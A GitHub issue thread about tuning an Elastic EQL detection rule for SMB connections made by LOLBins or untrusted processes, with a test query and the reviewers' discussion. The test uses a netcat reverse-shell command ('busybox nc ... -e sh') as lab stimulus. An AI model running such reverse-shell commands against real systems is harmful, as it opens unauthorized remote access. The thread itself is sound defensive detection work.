[Rule Tuning] SMB Connections via LOLBin or Untrusted Process

[Mikaayenson]

Link to Rule

https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_direct_outbound_smb_connection.toml

Rule Tuning Type

Performance - Optimizing resource consumption and execution time of detection rules.

Description

• The sequence uses event.type == "start" until event.type == "end". We should tune this rule to address event aggregation issues where event.type for both will be aggregated within the same event if they fire within 5 seconds causing the sequence to potentially NOP.
• Related to https://github.com/elastic/ia-trade-team/issues/368

Example Data

No response

cc. @nicholasberlin

[botelastic]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

[Aegrah]

Testing

cc @Mikaayenson @w0rk3r

The query that is used by the detection rule that we are testing in this issue:

sequence by process.entity_id with maxspan=1m

  /* first sequence to capture the start of Windows processes */
  [process where host.os.type == "windows" and event.type == "start" and process.pid != 4 and

    /* ignore NT Authority and Network Service accounts */
    not user.id : ("S-1-5-19", "S-1-5-20") and

    /* filter out anything trusted but not from Microsoft */
    /* LOLBins will be inherently trusted and signed, so ignore everything else trusted */
    not (process.code_signature.trusted == true and not startsWith(process.code_signature.subject_name, "Microsoft")) and

    /* filter out PowerShell scripts from Windows Defender ATP */
    not (
      process.name : "powershell.exe" and
      process.args :"?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1")]

  /* second sequence to capture network connections over port 445 related to SMB */
  [network where host.os.type == "windows" and destination.port == 445 and process.pid != 4]

/* end the sequence when the process ends where joining was on process.entity_id */
until [process where host.os.type == "windows" and event.type == "end"]

This basically follows the following flow:

1. Any process start event (event 1)
2. Followed by a network event (event 2), that (for testing) is only short-lived, thus having a start and end event in the same aggregation
3. An end event (which is the same event as the network event) (event 2)

I mimicked the query from the tagged detection rule as follows:

sequence by process.entity_id with maxspan=1m

  /* first sequence to capture the start of Linux processes */
  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec"]

  /* second sequence to capture network connections over port 1337 */
  [network where host.os.type == "linux" and destination.port == 1337]

/* end the sequence when the process ends where joining was on process.entity_id */
until [process where host.os.type == "linux" and event.type == "end"]

I then ran the following reverse shell connection, making sure the chain is not divided between parent/child, but just a singular process.

busybox nc 192.168.31.129 1337 -e sh

This results in the following detection:

So based on this analysis, I think this rule does not require tuning. I don't have a windows environment set up to mimic this actual detection rule. @w0rk3r might have this, and I can guide him through setting up an agent with a different artifact if desired. But based on this analysis, I think this should not cause any issues with the rule.

[nicholasberlin]

Awesome LGTM!